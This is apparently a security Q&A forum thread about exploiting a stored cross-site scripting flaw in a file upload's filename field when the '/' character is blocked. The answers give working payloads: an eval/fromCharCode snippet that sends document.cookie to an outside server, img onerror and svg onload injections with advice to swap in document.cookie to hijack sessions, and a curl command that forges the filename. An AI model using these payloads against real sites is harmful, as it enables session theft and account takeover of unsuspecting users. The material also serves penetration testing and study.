I am trying to exploit a vulnerability in the filename field of a file upload. The web application does not properly validate the filename of the uploaded file and as a result there is a stored cross-site scripting vulnerability.

My problem is that whenever I try to rename the file to include something like the below payload, I can't include / in the filename.


Any ideas/payloads? Is it even possible to exploit this vulnerability?

  • You can rename the file with a / on a Unix-based system.
    – isopach
    Jun 26, 2018 at 9:11

4 Answers 4


You should use a packet interception application and edit the sent packet. So you replace the / with let's say an _ in the filename, then intercept the packet and change it back in the header.


You can execute any JavaScript without using / by using a combination of eval and fromCharCode:

let slash = var String.fromCharCode(47);
eval("document.location='http:" + slash + slash + "my_test_server.com" + slash + "bla.php?cookie='+document.cookie;"); 

You can change the filename when uploading with curl:

curl -X POST http://example.com -F "file_input_name=@testfile;filename=document.location='http://example.com'"

However when I tested this with PHP it automatically stripped everything before the last /, presumably assuming that the full path had been sent and converting it to the basename.


Yes,there is payload for that where you don't have to use '/' while making injection.These payload are :

  1. <img src=x onerror=alert(123) >
  2. <svg onload=alert(123)>

Now, you can insert document.cookie instead of 123 in alert method to get the user session.

  • 1
    How does the attacker get the cookie?
    – schroeder
    Jun 19, 2020 at 7:29

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .